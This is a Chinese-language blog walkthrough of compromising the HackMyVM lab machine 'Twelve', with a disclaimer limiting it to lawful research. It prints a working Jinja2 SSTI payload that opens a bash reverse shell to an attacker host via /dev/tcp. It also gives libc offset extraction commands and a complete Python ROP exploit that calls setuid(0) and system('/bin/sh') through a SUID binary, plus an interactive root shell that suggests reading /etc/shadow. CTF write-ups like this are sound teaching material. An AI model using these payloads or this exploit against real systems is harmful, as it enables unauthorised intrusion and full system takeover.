文章总结: 该文档记录了对Twelve靶机的完整渗透测试过程。通过信息收集发现靶机开放22、80和1212端口,其中1212端口的Base-12转换器存在Jinja2SSTI漏洞,利用{{7*‘7’}}确认漏洞后成功反弹shell获取user权限。提权阶段发现SUID程序/usr/local/bin/12,通过分析libc偏移构造ROP链调用setuid(0)和system(‘/bin/sh’)最终获得root权限。
综合评分: 82
文章分类: 渗透测试,漏洞分析,WEB安全,红队,二进制安全
群友靶机之Twelve
原创
MS02423
MS02423
MS02423
2026年3月29日 22:21
天津
在小说阅读器读本章
去阅读
现在HackMyVm网站里面的靶机基本上都是群友自制的靶机,我们今天来看看这个靶机,主要的知识点就是ssrf和pwn.
一.信息收集
1.靶机IP
我们直接在靶机界面可以看到靶机IP的
靶机IP是192.168.137.174
2.端口
我们进行端口信息收集
nmap -p- -sV 192.168.137.174
可以看到端口开放了22,80,1212。那么我们的思路就是在80和1212端口发现信息,然后在22端口进行登录即可
3.目录
我们去看看80端口和1212端口上面有没有什么目录
feroxbuster -u http://192.168.137.174 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x txt,php,html,zip,bak
80端口没有任何目录信息
feroxbuster -u http://192.168.137.174:1212 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x txt,php,html,zip,bak
1212端口也没有什么目录
那么我们去访问IP和1212端口试试看。
二.访问IP
目前我们掌握的信息只有80端口和1212端口
首先,我们去看看80端口有没有信息
http://192.168.137.174/
80端口就是一个默认的apache2页面。
我们去看看1212端口
http://192.168.137.174:1212/
我们可以看到一个输入框,是一个输入一个十进制整数,将其转换为十二指数格式。
三.渗透测试
目前,我们掌握的信息就是1212端口是一个输入框,可能存在某些漏洞,我们去看看
1)服务器端模板注入 (SSTI) 漏洞
我们可以看到输入144,返回的信息是100.
Base-12 Converter应用主要存在一个高危的安全漏洞,极有可能是服务端模板注入漏洞
我们可以去测试测试,我们输入
{{7 * 7}}
如果返回49,那么证明存在漏洞的
返回了错误:”Error: ’49’ is not a valid integer”,说明模板引擎先执行了 {{7 * 7}}得到结果 49,然后应用逻辑试图将 49作为输入进行验证时失败,并将错误信息展示出来。
那么我们去确定模板引擎的类型
尝试不同的Payload来识别后端使用的模板引擎,常见的测试载荷:
{{7*'7'}}→ 如果返回 7777777(49个7),则很可能是 Jinja2(Python)。{{7*'7'}}如果报错或返回不同结果,可能是其他引擎(如Twig)。{{'7'*7}}→ 也可能返回 7777777。${7 * 7}或 <%= 7 * 7 %>→ 测试其他引擎语法。
我们去输入{{7*’7′}}试试看,可以看到返回的信息是7777777
那么,证明存在存在服务器端模板注入 (SSTI) 漏洞,并且后端使用的模板引擎已确定为 Jinja2 (Python)。因为 {{7*’7′}}在Jinja2中的运算结果是字符串’7’重复7次,即’7777777’,这与错误信息完全吻合。
既然确定了存在漏洞,我们直接去反弹shell试试看
2)反弹shell
{{ config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/192.168.137.102/4444 0>&1"').read() }}
kali里面监听444端口,可以看到反弹成功
我们去稳定shell,并且成功拿到user.txt
3)提权
既然我们已经拿到shell,那么我们去看看怎么去提权
find / -perm -u=s -type f 2>/dev/null
我们明显可以看到有一个12,我们去看看
可以看到是一个 64位的ELF可执行文件(Linux系统上标准的二进制可执行文件格式)
关键安全属性:该文件设置了 setuid(SUID) 和 setgid(SGID) 权限位。setuid:这意味着当任何用户执行此程序时,该程序在运行期间将拥有文件所有者(user)的权限,而不是执行者的权限。setgid:类似地,程序在运行期间将拥有文件所属组(group)的权限。
那么,我们就直接去分析分析这个程序看看
因为pwn我不是很熟悉,直接给ai看看
根据提供的二进制文件分析,这是一个带有SUID权限的ROP挑战程序,目标是通过利用漏洞获取root权限。程序提供了四个功能选项,其中选项3存在栈溢出漏洞,允许我们将自定义数据复制到栈上,覆盖返回地址,从而控制程序执行流。漏洞分析选项1:泄露libc基地址。选项2:通过符号名泄露libc中任意函数的地址。选项3:memcpy(&stack0xfffffffffffffff8, local_448, __n);存在栈溢出。目标地址为rbp-8,可覆盖保存的RBP和返回地址。选项4:正常退出。利用思路信息泄露:使用选项1获取libc基地址,使用选项2获取system函数地址和/bin/sh字符串地址(或通过计算偏移得到)。构建ROP链:利用选项3的溢出,构造ROP链调用system("/bin/sh")。触发漏洞:发送ROP链后,选择选项4使函数返回,触发ROP链执行,获得root shell。
我们需要获取的信息是
从目标系统直接获取libc文件
#
查找libc路径
ldd ./12 | grep libc
复制libc文件到本地
cp /usr/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6
获取偏移量的步骤
readelf -s ./libc.so.6 | grep " system@@"
readelf -s ./libc.so.6 | grep " setuid@@"
python3 -c "print(hex(open('./libc.so.6','rb').read().find(b'\x5f\xc3')))"
strings -a -t x ./libc.so.6 | grep "/bin/sh"
最后获取到的偏移量
0x4c330: system 函数的偏移。
0xd5370: setuid 函数的偏移。
0x196031: "/bin/sh" 字符串的偏移。
0x27725: pop rdi; ret 指令的偏移(用于给函数传参)。
我们使用脚本即可获取root权限的
#!/usr/bin/env python3# 获取 root 权限的完整攻击脚本import subprocessimport structimport sysimport timeimport selectimport os
def p64(n): """将整数打包为小端序的8字节""" return struct.pack("<Q", n)
def solve(): print("[*] 开始攻击 /usr/local/bin/12 获取 root 权限") print("[*] 使用的偏移:") print(" system: 0x4c330") print(" setuid: 0xd5370") print(" /bin/sh: 0x196031") print(" pop rdi; ret: 0x27725")
# 启动目标程序 p = subprocess.Popen(['/usr/local/bin/12'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=0)
def read_until(suffix, timeout=2): """读取直到遇到指定后缀""" out = b"" start = time.time() while not out.endswith(suffix) and (time.time() - start) < timeout: rlist, _, _ = select.select([p.stdout], [], [], 0.1) if p.stdout in rlist: char = p.stdout.read(1) if not char: break out += char return out
try: # 第一步:获取 system 函数地址 print("\n[1/5] 获取 system 函数地址...") menu = read_until(b": ") if not menu: print("[-] 程序没有正常启动") return
p.stdin.write(b"2\n") # 选择选项2 p.stdin.flush() time.sleep(0.2)
symbol_prompt = read_until(b"Enter symbol: ") p.stdin.write(b"system\n") p.stdin.flush() time.sleep(0.2)
system_output = read_until(b"\n") print(f"[*] 收到: {system_output.decode('utf-8', errors='ignore').strip()}")
if b"0x" not in system_output: print("[-] 无法获取 system 地址") return
system_addr = int(system_output.split(b"0x")[1].strip(), 16) print(f"[✓] system 地址: 0x{system_addr:x}")
# 第二步:计算 libc 基址和所有 gadget libc_base = system_addr - 0x4c330
# 计算关键地址 pop_rdi = libc_base + 0x27725 # pop rdi; ret bin_sh = libc_base + 0x196031 # /bin/sh 字符串 setuid_addr = libc_base + 0xd5370 # setuid 函数 ret = pop_rdi + 1 # ret 指令(用于栈对齐)
print(f"\n[2/5] 计算 gadget 地址:") print(f" libc 基址: 0x{libc_base:x}") print(f" pop rdi; ret: 0x{pop_rdi:x}") print(f" /bin/sh: 0x{bin_sh:x}") print(f" setuid: 0x{setuid_addr:x}") print(f" ret: 0x{ret:x}")
# 第三步:构造 ROP 链 # 目标:setuid(0) -> system("/bin/sh") rop = b"" rop += p64(ret) # 栈对齐 rop += p64(pop_rdi) + p64(0) # setuid(0) 的参数: rdi = 0 rop += p64(setuid_addr) # 调用 setuid(0) 获取 root rop += p64(pop_rdi) + p64(bin_sh) # system("/bin/sh") 的参数: rdi = "/bin/sh" rop += p64(system_addr) # 调用 system("/bin/sh")
rop_length = len(rop) print(f"\n[3/5] 构造 ROP 链:") print(f" ROP 链长度: {rop_length} 字节") print(f" ROP 链十六进制: {rop.hex()}")
# 第四步:发送 ROP 链 print("\n[4/5] 发送 ROP 链...")
# 返回主菜单 menu_back = read_until(b": ")
# 选择选项3发送 buffer p.stdin.write(b"3\n") p.stdin.flush() time.sleep(0.2)
# 等待输入长度提示 bytes_prompt = read_until(b"Enter bytes to send (max 1024): ")
# 发送长度 p.stdin.write(f"{rop_length}\n".encode()) p.stdin.flush() time.sleep(0.2)
# 发送 ROP 链 p.stdin.write(rop) p.stdin.flush() time.sleep(0.2)
print(f"[✓] ROP 链发送完成")
# 第五步:触发漏洞 print("\n[5/5] 触发漏洞获取 root shell...")
# 返回菜单 trigger_menu = read_until(b": ")
# 选择选项4退出(实际触发 ROP) p.stdin.write(b"4\n") p.stdin.flush() time.sleep(0.5)
print("[+] 漏洞触发完成!等待 shell...")
# 等待 shell 启动 time.sleep(1)
# 发送验证命令 p.stdin.write(b"echo 'ROOT_TEST_SUCCESS'\n") p.stdin.flush() time.sleep(0.5)
p.stdin.write(b"whoami\n") p.stdin.flush() time.sleep(0.5)
p.stdin.write(b"id\n") p.stdin.flush() time.sleep(0.5)
# 读取输出 print("\n[*] 读取程序输出...") output = b"" for _ in range(20): # 读取2秒 rlist, _, _ = select.select([p.stdout], [], [], 0.1) if p.stdout in rlist: try: chunk = p.stdout.read(1024) if chunk: output += chunk # 实时显示输出 sys.stdout.buffer.write(chunk) sys.stdout.buffer.flush() except: break time.sleep(0.1)
# 检查是否成功 if b"ROOT_TEST_SUCCESS" in output or b"root" in output or b"uid=0" in output: print("\n" + "="*60) print("[✅] 成功获得 ROOT SHELL!") print("="*60)
# 尝试获取 flag print("\n[*] 尝试获取 flag...") p.stdin.write(b"cat /flag.txt 2>/dev/null\n") p.stdin.flush() time.sleep(0.5)
p.stdin.write(b"find / -name '*flag*' 2>/dev/null | head -5\n") p.stdin.flush() time.sleep(0.5)
p.stdin.write(b"ls -la /root/\n") p.stdin.flush() time.sleep(0.5)
# 读取更多输出 for _ in range(10): rlist, _, _ = select.select([p.stdout], [], [], 0.1) if p.stdout in rlist: chunk = p.stdout.read(1024) if chunk: sys.stdout.buffer.write(chunk) sys.stdout.buffer.flush() time.sleep(0.1)
print("\n[+] 现在你可以输入命令,输入 'exit' 退出") print("[+] 示例命令:") print(" cat /etc/shadow # 查看密码文件") print(" ls -la /root/ # 查看root目录") print(" find / -perm -4000 # 查找SUID文件")
# 交互模式 while True: try: cmd = input("\nroot@Twelve# ").strip() if cmd.lower() in ['exit', 'quit']: break if not cmd: continue
p.stdin.write(cmd.encode() + b"\n") p.stdin.flush() time.sleep(0.5)
# 读取命令输出 cmd_output = b"" for _ in range(20): rlist, _, _ = select.select([p.stdout], [], [], 0.1) if p.stdout in rlist: chunk = p.stdout.read(1024) if chunk: cmd_output += chunk sys.stdout.buffer.write(chunk) sys.stdout.buffer.flush() time.sleep(0.1)
except KeyboardInterrupt: print("\n[!] 用户中断") break except EOFError: break
else: print("\n[-] 没有获得 root shell") print("[*] 输出内容:") print(output.decode('utf-8', errors='ignore')) print("\n[!] 可能原因:") print(" 1. 偏移量不正确") print(" 2. 需要栈填充") print(" 3. 程序有保护机制")
except Exception as e: print(f"\n[-] 错误: {e}") import traceback traceback.print_exc()
finally: try: p.terminate() except: pass print("\n[*] 攻击结束")
if __name__ == "__main__": solve()EOF
给脚本执行权限www-data@Twelve:/tmp$ chmod +x root_exploit.py
运行攻击脚本www-data@Twelve:/tmp$ python3 root_exploit.py
至此,这个靶机渗透测试完成
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:MS02423 MS02423
MS02423《群友靶机之Twelve》